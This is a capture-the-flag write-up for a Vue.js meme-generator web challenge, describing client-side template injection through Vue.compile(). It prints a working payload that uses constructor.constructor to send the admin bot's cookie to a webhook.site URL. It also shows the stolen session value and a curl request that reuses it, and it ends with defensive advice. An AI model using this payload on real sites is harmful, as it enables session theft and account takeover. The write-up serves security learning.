155 - Генератор Мемов (Meme Generator)
155 - Генератор Мемов (Meme Generator)
Platform: duckerz | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-01-15 | Status: Solved Techniques: client_side_template_injection, cookie_exfiltration, vue_compile_abuse
Summary
Task: Meme generator web app with Vue.js frontend and admin bot. Solution: Exploited Client-Side Template Injection (CSTI) via Vue.compile() to steal admin session cookie and access flag.
155 - Генератор Мемов (Meme Generator) — DUCKERZ CTF
Description
Создавай мемы и делись ими с друзьями! (Create memes and share them with friends!)
URL: http://tasks.duckerz.ru:30028
Analysis
Reconnaissance
Site analysis revealed:
- Backend: Flask (Werkzeug)
- Frontend: Vue.js 2
- Functionality: creating memes with text, viewing, reporting
Vulnerable Code
Found the compileText() function in the page source:
javascript read-only • copy allowedcompileText(text) { // Escape HTML tags but leave Vue syntax {{ }} for CSTI // This blocks regular XSS but allows template injection const vueTemplateRegex = /\{\{[\s\S]*?\}\}/g; // ... HTML tags are escaped but Vue templates are preserved const compiled = Vue.compile(`<span>${processed}</span>`); // ... }
Key findings:
- HTML tags are escaped (protection against classic XSS)
- Vue.js syntax
{{ }}is intentionally left unescaped - The comment in the code directly points to CSTI!
- There's a "Report" feature — admin bot checks reported memes
Attack Vector
Client-Side Template Injection (CSTI) in Vue.js allows executing arbitrary JavaScript through the constructor:
javascript read-only • copy allowed{{constructor.constructor("CODE")()}}
Solution
Step 1: Registration
Registered as testuser123 on the site.
Step 2: Creating Malicious Meme
Created a meme with CSTI payload for cookie stealing:
{{constructor.constructor("new Image().src=\"https://webhook.site/e8fd5575-a2a4-4b84-a4b4-96ee02ac1871?c=\"+document.cookie")()}}
How it works:
constructor.constructor— access to Function constructor- Create a new Image object with src pointing to webhook
- Pass
document.cookiein URL parameterc - Browser makes GET request to webhook with cookies
Step 3: Submitting Report
Submitted a report on the created meme via API:
bash read-only • copy allowedPOST /api/reports Content-Type: application/json {"meme_id": "<meme_id>"}
Step 4: Receiving Admin Cookie
Admin bot opened the meme page, Vue.js compiled and executed the payload.
Received request on webhook.site:
GET /?c=session=eyJ1c2VybmFtZSI6ImFkbWluIn0.aWjwxQ.ndU1bL6o6amFQm9KY5TwcgXxchg
Stolen session:
session=eyJ1c2VybmFtZSI6ImFkbWluIn0.aWjwxQ.ndU1bL6o6amFQm9KY5TwcgXxchg
Decoding Flask session (base64):
json read-only • copy allowed{"username": "admin"}
Step 5: Accessing Admin Data
Used the stolen session to access admin's memes:
bash read-only • copy allowedcurl -H "Cookie: session=eyJ1c2VybmFtZSI6ImFkbWluIn0.aWjwxQ.ndU1bL6o6amFQm9KY5TwcgXxchg" \ "http://tasks.duckerz.ru:30028/api/memes?user=admin"
The flag was found in one of admin's memes.
Defense
To prevent CSTI:
- Never pass user input to
Vue.compile() - Escape
{{ }}syntax along with HTML - Use
v-textinstead of{{ }}for dynamic content - Set
HttpOnlyflag on session cookies - Use CSP (Content Security Policy)
References
- Vue.js CSTI Research
- Client-Side Template Injection